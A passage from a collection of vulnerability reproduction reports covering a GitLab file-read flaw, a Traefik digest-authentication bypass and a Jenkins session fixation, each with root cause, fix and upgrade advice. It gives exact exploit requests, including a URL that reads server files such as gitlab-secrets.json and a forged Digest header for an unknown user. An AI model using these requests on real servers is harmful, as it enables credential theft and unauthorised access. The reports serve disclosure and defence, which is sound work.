vulnerable/fixed outcomes, plus tests proving database-RW users cannot create Internal-context tasks. - Add chain tests that retain every request/response and use a privileged file consumer negative control, preventing regressions in cross-boundary composition. ## Additional Notes - The final script is self-contained except for standard sandbox tools (`docker`, `curl`, `jq`, Python 3, `sha256sum`, and `timeout`) and creates its raw-socket helper at runtime. It does not execute files from the prepared source checkout. - The script is idempotent: it uses unique container names, ports, task IDs, and markers, removes containers on exit, and rebuilds the four proof-attempt directories per run. - Runtime can take roughly two minutes because each vulnerable attempt waits for a genuine minute-boundary cron tick, bounded to 95 seconds. - Empty-reply messages during readiness are expected while `arangod` starts; the health loop requires a valid HTTP status before proceeding. - The setup root password is intentionally weak solely to validate the ticket's documented fallback precondition. There is no claim that every affected real deployment uses a weak password. The unauthenticated data compromise and persistent `_users` modification do not require that condition, while this immediate authenticated continuation does. ### Reproduction - Reproduced: 2026-09-13T20:12:57.790Z - Duration: 2796s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00355 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00355 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00355/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00355 ================================================================================ ## REPRO-2026-00354: GitLab CE/EE unauthenticated path traversal in Repository Commits API leads to arbitrary file read -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00354 - CVE: CVE-2026-85706 (https://nvd.nist.gov/vuln/detail/CVE-2026-85706) ### Package Information - Name: gitlab - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: critical - CVSS: Unknown - CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) ### Root Cause # RCA Report — CVE-2026-85706 ## Summary CVE-2026-85706 is an unauthenticated arbitrary local file read in GitLab CE/EE, reachable through the Repository Commits REST API. GitLab Workhorse classifies the commits body-upload accelerator route with an **anchored regex on the clean (escaped) URI path**; appending a `.json` format suffix to `POST /api/v4/projects/:id/repository/commits` defeats that classification, so Workhorse proxies the raw request to Rails with its signed `Gitlab-Workhorse` header. The Grape endpoint `post ':id/repository/commits'` (lib/api/commits.rb) calls `require_gitlab_workhorse!` but, in vulnerable versions, **never calls `authenticate!`**, and `API::Helpers::CommitsBodyUploaderHelper#file_params_from_body_upload` (lib/api/helpers/commits_body_uploader_helper.rb) takes the attacker-supplied flat request parameter `file.path` and uses it directly as a filesystem path: `File.exist?(params['file.path'])` followed by `File.read(file_path)`. When the request also carries a parameter literally named `Content-Type` with value `application/x-www-form-urlencoded`, the file content is fed to `Rack::Utils.parse_nested_query`, and any invalid percent-escape in the file (e.g. `%zz`) makes `Rack::QueryParser::InvalidParameterError` embed **the file content** in its message, which the vulnerable rescue clause echoes verbatim in the HTTP 400 response body. Files without a parse-triggering byte are still confirmed readable through an existence oracle (`local file not present` vs a downstream 401/500). This was reproduced end-to-end on the real omnibus product (nginx → gitlab-workhorse → puma/Rails) with no sanitizers and no authentication. ## Impact - **Package/component affected**: GitLab CE/EE omnibus — `lib/api/commits.rb` (Repository Commits API), `lib/api/helpers/commits_body_uploader_helper.rb`, and the GitLab Workhorse body-upload route classification for `/api/v4/projects/[^/]+/repository/commits`. - **Affected versions**: 18.7 before 19.1.8, 19.2 before 19.2.6, 19.3 before 19.3.2. Tested vulnerable: `gitlab/gitlab-ce:19.3.1-ce.0` (image digest `sha256:f63df4c43029fe91db370609c0b40a1e3585cebd06e3e9637d93a9a3030eb86e`). Tested fixed: `gitlab/gitlab-ce:19.3.2-ce.0` (image digest `sha256:05453dd1d9aba27c2c487613141596868409b4d03247647f7d66cb0b36f321b8`). - **Risk level**: Critical (CVSS 3.1 10.0, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). Any unauthenticated network attacker who can reach the web endpoint and can name an existing, anonymously routable project can read arbitrary files readable by the `git` service account — including `/etc/gitlab/gitlab-secrets.json` (demonstrated readable via the existence oracle: HTTP 500 downstream processing vs `local file not present` for a missing file), database credentials, Gitaly/Praefect tokens, and private repository content. With the secrets file disclosed, an attacker can forge signed cookies/tokens (`I:H` integrity impact in the CVSS vector). ## Impact Parity - **Disclosed/claimed maximum impact**: unauthenticated arbitrary file read (info leak of any file readable by the GitLab service account), critical severity. - **Reproduced impact from this run**: full parity for the claimed read primitive — - **Full content echo, attacker-chosen path**: a canary file planted at `/tmp/canary_85706_a1.txt` containing `PRUVA85706_CANARY_TOKENA1_9f31c0ffee_PCTBYTE_%zz_END` was read unauthenticated and its complete content was reflected in the response: `{"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_TOKENA1_9f31c0ffee_PCTBYTE_%zz_END)"}`. Repeated with a distinct token in a second fresh-process attempt. - **Existence oracle for arbitrary paths**: `/etc/passwd` (existing) proceeds to downstream authorization (401), while a non-existent path returns `400 ... local file not present` — confirming `File.exist?` is consulted on the attacker-controlled path. - **Sensitive-file readability**: `/etc/gitlab/gitlab-secrets.json` produced a downstream HTTP 500 (content read and processed), not `local file not present`, proving the secrets file is opened by the vulnerable code path. - **Operative bypass control**: the identical request **without** the `.json` suffix returns `401 Unauthorized` on the vulnerable build — Workhorse classifies that route and authentication is enforced — proving the `.json` suffix is the operative route-matching bypass. - **Fixed negative control**: the identical `.json`-suffixed request against `19.3.2-ce.0` returns `401 Unauthorized` in both attempts (no echo, no oracle) because `authenticate!` now runs before the upload handling. - **Parity**: `full` for the claimed info-leak impact. - **Not demonstrated**: post-read weaponization (e.g., forging signed requests from `gitlab-secrets.json`) — out of scope for the filed claim, which is the file-read primitive itself. ## Root Cause 1. **Missing authentication on a Workhorse-only endpoint** — `lib/api/commits.rb` (v19.3.1), endpoint `post ':id/repository/commits'`: ```ruby post ':id/repository/commits' do require_gitlab_workhorse! attrs = file_params_from_body_upload # <-- reads a file BEFORE any authz ... ``` The endpoint trusts that the Workhorse body-upload middleware already finalized the upload (the design assumption is that `file.path`/`file.size` only ever come from Workhorse's signed multipart finalization), so it never calls `authenticate!` and reads the raw Grape params. 2. **Raw request parameter used as a filesystem path** — `lib/api/helpers/commits_body_uploader_helper.rb` (v19.3.1): ```ruby def file_params_from_body_upload file_path = params['file.path'] bad_request!('local file not present') unless File.exist?(file_path) ... elsif media_type == 'application/x-www-form-urlencoded' Rack::Utils.parse_nested_query(File.read(file_path)).deep_symbolize_keys! rescue Rack::QueryParser::InvalidParameterError => e bad_request!("Invalid parameter: #{e.message}") # e.message embeds file content ``` `params['file.path']`, `params['file.size']` and `params['Content-Type']` are ordinary flat request parameters (Rack keeps `file.path` flat because its nested-query syntax uses `file[path]`, not `file.path`), so a plain URL query string controls the path that `File.exist?`/`File.read` open. The `requires :file, type: WorkhorseFile` declaration is satisfied by a blank `file=` parameter because `WorkhorseFile.parse` returns `nil` for blank values. 3. **Workhorse route-matching bypass** — Workhorse decides whether a request is a commits body-upload (which it would intercept and finalize) by matching an anchored regex against the *clean* (escaped) request path. The `.json` format suffix makes the path not match the accelerator route, so Workhorse simply proxies the raw request to Rails — while Rails/Grape *strips* the `.json` suffix and routes it to the commits endpoint. Result: the endpoint is reachable with Workhorse's signed header but without Workhorse's upload finalization and without authentication. 4. **Fix (v19.3.2)** — public tag diff `v19.3.1 → v19.3.2`: - `authenticate!` added to `post ':id/repository/commits'` and to `workhorse_authorize_commits_body_upload!` ("Authenticate before Workhorse buffers the request body to disk"). - `file_params_from_body_upload` now trusts **only middleware-finalized upload metadata**: `uploaded_file = params[:file]; bad_request!('file is invalid') unless uploaded_file.is_a?(::UploadedFile)`; path and size come from the `UploadedFile` object, never raw params. - Rescue clauses no longer echo `e.message`. ## Reproduction Steps 1. Reference: `bundle/repro/reproduction_steps.sh` (self-contained; executed twice consecutively, both runs passing). 2. What the script does: - Pulls the immutable official images `gitlab/gitlab-ce:19.3.1-ce.0` (vulnerable) and `gitlab/gitlab-ce:19.3.2-ce.0` (fixed) and records their digests. - Boots the real omnibus product (nginx → gitlab-workhorse → puma/Rails → gitaly/postgresql/redis) in Docker, waits for a real HTTP health check (`/users/sign_in` = 200, `/api/v4/version` responding). - Captures in-container target binding: the shipped `commits_body_uploader_helper.rb` (5 raw `file.path` references, 0 `authenticate` references on 19.3.1; `authenticate!` present on 19.3.2). - Creates a publicly routable demo project through the real Rails service (`gitlab-rails runner`), needed only so the URL routes. - Sends the unauthenticated attacker request through the real HTTP boundary: `POST /api/v4/projects/1/repository/commits.json?file=&file.size=64&Content-Type=application/x-www-form-urlencoded&file.path=` with header `Content-Type: application/x-www-form-urlencoded` and empty body. - Vulnerable build, attempt 1 (fresh boot): canary-with-`%zz` read (content echo), `/etc/passwd` (existence oracle), `/etc/gitlab/gitlab-secrets.json` (sensitive-file oracle), missing-file control, and the no-`.json`-suffix control (401). - Vulnerable build, attempt 2: `docker restart` for fresh processes, a second distinct canary, plus controls. - Fixed build, attempts 1 and 2 (fresh boot + restart): identical `.json`-suffixed attack. 3. Expected evidence of reproduction (all observed in this run): - `repro/artifacts/http/vuln_attempt1_canary_response.txt` / `vuln_attempt2_canary_response.txt`: HTTP 400 with `Invalid parameter: invalid %-encoding (PRUVA85706_CANARY__PCTBYTE_%zz_END)` — arbitrary file content disclosure. - `vuln_attempt1_missingfile_response.txt`: HTTP 400 `local file not present` (vs `/etc/passwd` 401, `gitlab-secrets.json` 500) — existence oracle. - `vuln_attempt1_nosuffix_response.txt` / `vuln_attempt2_nosuffix_response.txt`: HTTP 401 — the `.json` suffix is the operative bypass. - `fixed_attempt1_canary_response.txt` / `fixed_attempt2_canary_response.txt`: HTTP 401 `Unauthorized` — fixed version fails closed. ## Evidence - Script + diagnostics: `bundle/repro/reproduction_steps.sh`, `bundle/logs/reproduction_steps.log` (per-run diagnostic transcript). - Finalized per-request evidence (request URL, headers, status, body): `bundle/repro/artifacts/http/*.txt`, SHA-256-bound in `bundle/repro/runtime_manifest.json`. - Key excerpts (vulnerable 19.3.1, unauthenticated): - Canary attempt 1 → `{"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_TOKENA1_9f31c0ffee_PCTBYTE_%zz_END)"}` - Canary attempt 2 (fresh processes) → `{"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_TOKENA2_5eed2badcafe_PCTBYTE_%zz_END)"}` - Missing file → `{"message":"400 Bad request - local file not present"}` - `/etc/passwd` → `{"message":"401 Unauthorized"}` (read succeeded, parse clean, downstream auth failure — existence oracle) - `/etc/gitlab/gitlab-secrets.json` → `{"message":"500 Internal Server Error"}` (secrets content read and processed downstream) - Same request without `.json` → `{"message":"401 Unauthorized"}` (Workhorse classifies the route) - Fixed 19.3.2, same attack → `{"message":"401 Unauthorized"}` (both attempts). - Environment: Docker (rootless) on Linux x86-64, 4 vCPU, 31 GB RAM; official images as above; no sanitizers; product-mode proof through the real nginx/workhorse/puma HTTP boundary. ## Recommendations / Next Steps - **Upgrade** to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later immediately; the endpoint now authenticates before Workhorse buffers the body and only trusts middleware-finalized `UploadedFile` metadata. - **Defense-in-depth**: - Route/classification logic in proxies (Workhorse) and application routing (Rails/Grape format-suffix stripping) must agree on path canonicalization; anchored regexes on escaped paths should account for format suffixes. - Never echo raw exception messages (`e.message`) to API clients. - Parameters sourced from signed middleware handoff (e.g. `file.path`, `file.size`) should be carried in a tamper-proof envelope, not re-accepted from the raw request. - **Testing**: regression test that an unauthenticated `POST /api/v4/projects/:id/repository/commits.json` with flat `file.path`/`file.size`/`Content-Type` query parameters returns 401 before any filesystem access, on both the accelerator-classified and non-classified (suffixed) path shapes. ## Additional Notes - **Idempotency**: the script removes prior containers at start, reuses pulled images, truncates its diagnostic log per run, and re-creates the demo project (idempotent `find_by(name:)`). It was executed twice consecutively with identical CONFIRMED results. - **Limitations / edge cases**: - Full content *echo* requires a parse-triggering byte in the target file (invalid `%`-escape such as `%zz`, or invalid UTF-8). Benign-charset files (e.g. stock `/etc/passwd`) still yield a reliable existence/readability oracle (`local file not present` vs downstream 401/500); an attacker can force echo for any file by causing downstream processing of parsed params, or simply exploit the oracle. - The exploit needs an existing, anonymously routable (public or internally exposed) project id in the URL; no credentials of any kind are required. - Raw `../` traversal inside the URL *path* is blocked by GitLab's generic path-traversal middleware on both builds; the operative bypass is the `.json` suffix on the route plus the `file.path` query parameter, exactly as claimed. ### Reproduction - Reproduced: 2026-09-12T11:32:06.839Z - Duration: 8331s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00354 # or: pruva-verify CVE-2026-85706 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00354 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00354/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00354 ================================================================================ ## REPRO-2026-00352: Traefik digestAuth middleware gives empty secret to unknown usernames → auth bypass -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00352 - GHSA: GHSA-24QW-84Q9-39WJ (https://github.com/traefik/traefik/security/advisories/GHSA-24qw-84q9-39wj) - CVE: CVE-2026-85595 (https://nvd.nist.gov/vuln/detail/CVE-2026-85595) ### Package Information - Name: traefik/traefik - Ecosystem: github - Affected: All v1/v2/v3 releases shipping digestAuth: v2 <= v2.11.54 and v3.0.0 <= v3.7.10; v1 line, v2 minors < v2.11, v3 minors < v3.7 unmaintained and unpatched - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-287 (Improper Authentication) ### Root Cause # RCA Report — Traefik digestAuth authentication bypass (GHSA-24qw-84q9-39wj) ## Summary Traefik's `digestAuth` middleware secret provider returns an **empty string** for a username that is absent from the configured htdigest user list, instead of signalling "no such user". The pinned `github.com/containous/go-http-auth` fork accepted that empty string as the user's `HA1` digest secret. Because every other input to the digest computation (`realm`, `nonce`, `opaque`, `uri`, `nc`, `cnonce`, `qop`, HTTP method) is either chosen by the client or handed to it in the `401` challenge, a remote **unauthenticated** attacker can forge a mathematically valid `Authorization: Digest` header for an **arbitrary unknown username** with `HA1 == ""` and reach any route protected by `digestAuth`. This was reproduced end-to-end against the real product (official Traefik Docker images) through the real HTTP endpoint: the forged request returned `HTTP 200` with the protected backend resource on vulnerable images and `401` on fixed images. ## Impact - **Package/component affected:** Traefik `pkg/middlewares/auth/digest_auth.go` (`secretDigest()`) combined with the pinned dependency `github.com/abbot/go-http-auth => github.com/containous/go-http-auth v0.4.1-0.20200324110947-a37a7636d23e` (`DigestAuth.CheckAuth()`). - **Affected versions (empirically verified this run):** `traefik:v2.11.54` (bypassed), `traefik:v3.6.11` (bypassed), and — contrary to the ticket's fixed-version claim — `traefik:v3.6.12` (**still bypassed**). Every release shipping the middleware without the fix is affected. - **Risk level / consequences:** Complete authentication bypass (high/critical). Any route protected only by `digestAuth` — including the Traefik dashboard/API when protected this way — is fully accessible without credentials. The forged username is also written to the access log's auth-user field, corrupting the audit trail. ## Impact Parity - **Disclosed/claimed maximum impact:** Authentication bypass / authz bypass on any digestAuth-protected route via a crafted digest response for an unknown username (`authz_bypass`, surface `api_remote`). - **Reproduced impact from this run:** Full parity for the claimed impact. A single remote HTTP request with a forged `Authorization: Digest` header for an unknown username (`attacker-unknown-user`) obtained `HTTP 200` and the protected backend body `PROTECTED-BACKEND-RESOURCE-OK` through the real Traefik HTTP endpoint on the vulnerable images; fixed images rejected the identical request with `401`. Valid credentials still work (`200`) and a wrong password is still rejected (`401`) on every image, proving the middleware was exercised normally and only the unknown-user path is broken. - **Parity:** `full` - **Not demonstrated:** Nothing further is claimed by the ticket. (No code execution is involved; the impact is authorization bypass, which was demonstrated in full.) ## Root Cause 1. **Traefik `pkg/middlewares/auth/digest_auth.go`** builds the authenticator with `goauth.NewDigestAuthenticator(realm, d.secretDigest)`. Its secret provider is: ```go func (d *digestAuth) secretDigest(user, realm string) string { if secret, ok := d.users[user+":"+realm]; ok { return secret } return "" // <-- unknown user gets an EMPTY secret instead of "reject" } ``` The users map is populated from the htdigest file (`user:realm:HA1` lines) by `getUsers`/`digestUserParser`. 2. **The pinned fork** `github.com/containous/go-http-auth` (replace directive in `go.mod`, pinned at `a37a7636d23e`) implements `DigestAuth.CheckAuth()` as: ```go HA1 := da.Secrets(auth["username"], da.Realm) // no check that HA1 == "" means "unknown user" HA2 := H(r.Method + ":" + auth["uri"]) KD := H(strings.Join([]string{HA1, auth["nonce"], auth["nc"], auth["cnonce"], auth["qop"], HA2}, ":")) if subtle.ConstantTimeCompare([]byte(KD), []byte(auth["response"])) != 1 { return "", nil } ``` With `HA1 == ""`, the attacker's expected response is `MD5(":" + nonce + ":" + nc + ":" + cnonce + ":auth:" + MD5("GET:" + uri))` — trivially computable from the `401` challenge (nonce, opaque) and the attacker's own choices. Traefik's caller then only checks `username == ""` to decide failure, so the forged unknown username authenticates successfully. 3. **Fix:** the fork commit `b975dcaa8c48` adds to `CheckAuth()`: ```go HA1 := da.Secrets(auth["username"], da.Realm) if HA1 == "" { return "", nil } ``` Traefik pulled the fixed fork in commit **`2116686308a2518bf1851a39eeec738f1e901195`** ("Bump github.com/containous/go-http-auth to b975dcaa8c48", go.mod replace directive `v0.4.1-0.20260804094822-b975dcaa8c48`). **Fixed-commit anchoring (verified via git, see `bundle/logs/git_source_verification.log`):** - Fix commit `21166863` is contained in tag `v2.11.55` (commit `1ac90fccb982f6de40f557493152bdb0c9f0a809`) — verified fixed at runtime. - Fix commit `21166863` is **absent from every `v3.6.x` tag** (checked `v3.6.0`–`v3.6.25`: all still pin fork `a37a7636d23e`). The first `v3` tag containing the fix is `v3.7.11` — verified fixed at runtime. - Consequently the ticket's "Fixed in ... v3.6.12" is **incorrect**: `traefik:v3.6.12` (tag commit `b782bd32d444af99d76e5f87970b02a9aa80ba97`, image digest `sha256:171c9c3565b29f6c133f1c1b43c5d4e5853415198e9e1078c001f8702ff66aec`) was empirically **still vulnerable** in this run. ## Reproduction Steps 1. Script: `bundle/repro/reproduction_steps.sh` (self-contained; creates all configs, the backend service, and the attacker client itself at runtime). 2. What it does: - Deploys the **real product** from official Docker images on a private Docker network: a `python:3-alpine` backend serving `PROTECTED-BACKEND-RESOURCE-OK`, and Traefik instances (static+dynamic file config) with a router `PathPrefix(`/protected`)` protected by the real `digestAuth` middleware (`usersFile` htdigest with one user `test` / realm `traefik` / password `secret`), plus an unprotected `/open` router for health checks. - Per image, runs **two clean attempts** (fresh container each): readiness wait, healthcheck (`/open` → 200, `/protected/` no-auth → 401), then the attacker sequence through the real HTTP endpoint: 1. `GET /protected/` with no credentials → capture `401` challenge (`realm`, `nonce`, `opaque`); 2. **Attack:** forged `Authorization: Digest` for unknown username `attacker-unknown-user` with `HA1 = ""`, `response = MD5(":"+nonce+":00000001:83cfda9a:auth:"+MD5("GET:/protected/"))`; 3. Sanity: known user with correct password (expect 200); 4. Sanity: known user with wrong password (expect 401). - Image matrix: `traefik:v2.11.54` (vulnerable primary), `traefik:v2.11.55` (fixed primary control), `traefik:v3.6.11` (vulnerable v3 line), `traefik:v3.6.12` (ticket-claimed fixed — tested empirically), `traefik:v3.7.11` (first actually-fixed v3 control). - Writes per-attempt request/response transcripts, a machine-readable `repro/exploit_results.json`, a supplementary git source verification log, and `repro/runtime_manifest.json`. 3. Expected evidence of reproduction (both consecutive runs produced exactly this): - `v2.11.54`, `v3.6.11`, **and `v3.6.12`**: attack step → `HTTP 200`, body `PROTECTED-BACKEND-RESOURCE-OK` (authentication **bypassed**, request forwarded to the protected backend). - `v2.11.55` and `v3.7.11`: attack step → `HTTP 401` with a fresh digest challenge (rejected). - Sanity on every image: correct credentials → 200, wrong password → 401. ## Evidence - Per-attempt HTTP transcripts and JSON results: `bundle/repro/artifacts/http/{vuln_primary,fixed_primary,vuln_v3,claimed_fixed_v3,fixed_v3_control}_v*._attempt{1,2}.{txt,json}` - Aggregated verdict: `bundle/repro/exploit_results.json` - Runtime manifest (image digests, target identity, artifact hashes): `bundle/repro/runtime_manifest.json` - Git source verification (fix-commit ancestry for all five tags, fork diff): `bundle/logs/git_source_verification.log` - Full run log: `bundle/logs/reproduction_steps.log` - Key excerpt (`vuln_primary_vv2.11.54_attempt1.txt`): ``` === step2 ATTACK forged digest, unknown username, empty HA1 secret === > Authorization: Digest username="attacker-unknown-user", realm="traefik", nonce="4jleqQagi0BjT/09", uri="/protected/", algorithm=MD5, qop=auth, nc=00000001, cnonce="83cfda9a", response="939d544cfabce8f635f5c4bd372dc89c", opaque="YF7w7S9FYLwAFyIV" < HTTP/1.1 200 < body: 'PROTECTED-BACKEND-RESOURCE-OK\n' ``` and the fixed control (`fixed_primary_vv2.11.55_attempt1.txt`): identical forged header → `< HTTP/1.1 401` + fresh `Www-Authenticate` challenge. - Environment: Docker (rootless daemon, Alpine), linux/amd64; images: `traefik:v2.11.54` `sha256:f10edd30…`, `traefik:v2.11.55` `sha256:4f87b6b3…`, `traefik:v3.6.11` `sha256:acfc8065…`, `traefik:v3.6.12` `sha256:171c9c35…`, `traefik:v3.7.11` `sha256:5203c3f3…`, `python:3-alpine` backend. ## Recommendations / Next Steps - **Fix (already upstream):** keep `containous/go-http-auth >= b975dcaa8c48` (reject `HA1 == ""` in `CheckAuth`). Defence-in-depth: make Traefik's `secretDigest()` distinguish "no such user" from a secret (return an error / ok flag) rather than returning `""`, and reject before `CheckAuth` consumes it. - **Upgrade guidance:** upgrade the v2 line to **v2.11.55 or later**; for the v3 line the ticket's "v3.6.12" is **not** fixed — upgrade to **v3.7.11 or later** (or any build whose `go.mod` pins the fork at `b975dcaa8c48`). Operators on v3.6.x should treat digestAuth-protected routes as unprotected until they upgrade. - **Detection:** access-log lines whose auth-user is not a configured user on a digestAuth-protected route indicate exploitation. - **Testing recommendation:** add a regression test that a forged digest for a username absent from the htdigest file is rejected (the fork's `digest_test.go` gained exactly such a case in `b975dcaa8c48`). ## Additional Notes - **Idempotency:** the script was executed twice consecutively; both runs exited 0 with identical results (10/10 attempts as expected, `CONFIRMED: True`). It cleans up all containers/networks it creates (start and via `trap ... EXIT`). - **Ticket discrepancy (important for the Judge):** the ticket/GHSA text says "Fixed in v2.11.55/v3.6.12". The v2.11.55 part is confirmed; the v3.6.12 part is **disproved** both by git ancestry (fix commit `21166863` is in no `v3.6.x` tag) and by runtime evidence (bypass succeeds against the official `traefik:v3.6.12` image). The first fixed v3 release is v3.7.11. - **Limitations:** the reproduction uses Traefik's default realm `traefik` and the default MD5/qop=auth parameters; the vulnerability is independent of those choices (the secret lookup key and the digest formula adapt to whatever the server advertises). `removeHeader: true` was enabled on the middleware; the bypass works regardless. No sanitizers were used (product-mode proof, `sanitizer_used=false`). ### Reproduction - Reproduced: 2026-09-11T10:13:47.020Z - Duration: 3941s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00352 # or: pruva-verify GHSA-24QW-84Q9-39WJ # or: pruva-verify CVE-2026-85595 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00352 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00352/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00352 ================================================================================ ## REPRO-2026-00351: Jenkins remember-me session fixation — attacker-plantable cookie value not rotated after login (SECURITY-4069) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00351 - CVE: CVE-2026-84652 (https://nvd.nist.gov/vuln/detail/CVE-2026-84652) ### Package Information - Name: jenkinsci/jenkins - Ecosystem: github - Affected: Jenkins weekly 2.579 and earlier; Jenkins LTS 2.568.2 and earlier. - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-384 (Session Fixation) ### Root Cause ## Summary CVE-2026-84652 (Jenkins SECURITY-4016) is a session-fixation vulnerability in Jenkins's persistent "Keep me signed in" authentication flow. Jenkins 2.579 authenticates a valid remember-me token without applying a session-authentication strategy, so an anonymous `JSESSIONID` planted before auto-login remains the authenticated session identifier. An attacker who knows and can plant that cookie can replay it after the victim's remember-me authentication and act as the victim. Fresh production-path tests against real Jenkins HTTP controllers reproduced this behavior twice on 2.579 and showed that 2.580 rotates the identifier and blocks replay in two fixed controls. ## Impact - **Affected component:** Jenkins core, `hudson.security.SecurityRealm` filter-chain construction around Spring Security's `RememberMeAuthenticationFilter`. - **Affected versions:** Jenkins weekly through 2.579 and Jenkins LTS through 2.568.2. - **Fixed versions:** Jenkins weekly 2.580 and Jenkins LTS 2.568.3. - **Risk:** High. An unauthenticated attacker who can plant a same-site Jenkins session cookie (for example, from a sibling subdomain) and induce the victim's later remember-me auto-login can reuse the known session as the victim. The attack requires victim interaction and a cookie-planting condition but does not require the attacker to know the victim's credentials or remember-me token. ## Impact Parity - **Disclosed/claimed maximum impact:** Authorization bypass through takeover of a victim-authenticated Jenkins session. - **Reproduced impact:** Full authorization bypass. In each vulnerable attempt, a separate attacker client sent only the originally known anonymous `JSESSIONID` and received HTTP 200 from `/me/api/json` with `id: "victim"` after the victim browser state triggered remember-me authentication. - **Parity:** `full`. - **Not demonstrated:** Cookie planting through an actual hostile sibling DNS origin was not recreated. Instead, the test places the attacker's server-issued anonymous cookie into a separate victim cookie jar, which precisely models the server-visible state entering the vulnerable endpoint. No stronger impact such as code execution was claimed or tested. ## Root Cause Jenkins's form-authentication path already applied `SessionFixationProtectionStrategy` to `AuthenticationProcessingFilter2`. The separate remember-me auto-login filter did not. In Jenkins 2.579, `SecurityRealm#createFilter` ended the authentication portion of the chain with: ```java filters.add(new RememberMeAuthenticationFilter(sc.manager2, sc.rememberMe2)); ``` When `RememberMeAuthenticationFilter` accepted the victim's persistent token, it associated the resulting authenticated security context with the existing HTTP session but had no `SessionAuthenticationStrategy` to change that session identifier. If the existing session was attacker-known, it therefore became the victim's authenticated session. The 2.580 implementation constructs the filter and explicitly installs Spring Security's fixation protection: ```java final RememberMeAuthenticationFilter rememberMe = new RememberMeAuthenticationFilter(sc.manager2, sc.rememberMe2); rememberMe.setSessionAuthenticationStrategy(new SessionFixationProtectionStrategy()); filters.add(rememberMe); ``` The relevant Jenkins SECURITY-4016 commit is [`69b9bdc1411743f9d0ccf290fb0883659050889a`](https://github.com/jenkinsci/jenkins/commit/69b9bdc1411743f9d0ccf290fb0883659050889a) on the weekly release line (a corresponding backport is `caf1847af29dab83ea58e622f0ec5a9463403d87`). The runtime targets were Jenkins 2.579 source commit `9095ea3a5c5e7dcd392695a5dd880af1c9910ddf` and Jenkins 2.580 source commit `497de4961ad80d97e26bfdeb0d2e40442a84ecb0`. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. Docker, Git, curl, jq, Python 3, and SHA-256 utilities are required. 2. The script reads `bundle/project_cache_context.json`; when the prepared cache is available it uses `/repo`, otherwise it falls back to `bundle/artifacts/jenkins`. It verifies the exact source commits behind tags `jenkins-2.579` and `jenkins-2.580`. 3. It pulls immutable Jenkins images: - Vulnerable: `jenkins/jenkins@sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be` - Fixed: `jenkins/jenkins@sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1` 4. For two clean attempts per role, it starts a real Jenkins controller on localhost, configures the Jenkins private security realm, and creates the `victim` account. 5. A normal HTTP form login with "remember me" enabled obtains the victim's genuine persistent token. 6. An independent attacker cookie jar visits `/login`, obtaining a server-issued anonymous `JSESSIONID` known to the attacker. 7. The script models cookie planting by combining the attacker session with the victim's persistent token in a new victim-browser jar, then requests `/me/api/json`. This request passes through Jenkins's real `RememberMeAuthenticationFilter`. 8. An independent attacker replay sends only its original session cookie to `/me/api/json`—not the victim credentials or remember-me token. 9. Success requires both 2.579 attempts to preserve the session identifier and return the victim JSON to the attacker, and both 2.580 controls to change the identifier and return HTTP 403 to the attacker. 10. The script redacts cookie values, removes cookie jars/runtime homes, and writes `bundle/repro/runtime_manifest.json` with hashes of finalized proof artifacts. Expected final output: ```text CONFIRMED: Jenkins 2.579 remember-me authentication preserves an attacker-known planted session; Jenkins 2.580 invalidates it. ``` ## Evidence - **Structured verdict:** `bundle/repro/validation_verdict.json` - **Runtime manifest:** `bundle/repro/runtime_manifest.json` - **Final aggregate observations:** `bundle/logs/final_observation_summary.json` - **Fix diff:** `bundle/logs/security4016.patch.txt` - **Primary per-attempt observations:** - `bundle/repro/proof/vulnerable_1.observation.json` - `bundle/repro/proof/vulnerable_2.observation.json` - `bundle/repro/proof/fixed_1.observation.json` - `bundle/repro/proof/fixed_2.observation.json` - **HTTP evidence:** `bundle/repro/proof/*.{login,attacker_session,remember_auth,replay}.headers` and `*.replay.body` - **Controller logs:** `bundle/repro/proof/{vulnerable,fixed}_{1,2}.service.log` - **Immutable target identity:** `bundle/repro/proof/target_identity.txt` Final-run key observations: | Role | Attempt | Planted hash equals post-auth hash | Replay status | Replay is victim | |---|---:|---:|---:|---:| | Jenkins 2.579 vulnerable | 1 | yes | 200 | true | | Jenkins 2.579 vulnerable | 2 | yes | 200 | true | | Jenkins 2.580 fixed | 1 | no | 403 | false | | Jenkins 2.580 fixed | 2 | no | 403 | false | The vulnerable replay body identifies the principal as `victim`, while the fixed replay body states `Authentication required` and `You are authenticated as: anonymous`. Fixed `remember_auth.headers` includes a new `Set-Cookie: JSESSIONID...=`; vulnerable `remember_auth.headers` does not issue a new session cookie. The manifest binds 21 finalized evidence files and was independently rechecked against every SHA-256 value. Environment details: Linux x86-64, rootless Docker, Jenkins 2.579/2.580 official images with bundled Java 21, Winstone/Jetty, and Jenkins's Spring Security remember-me filter. No sanitizer 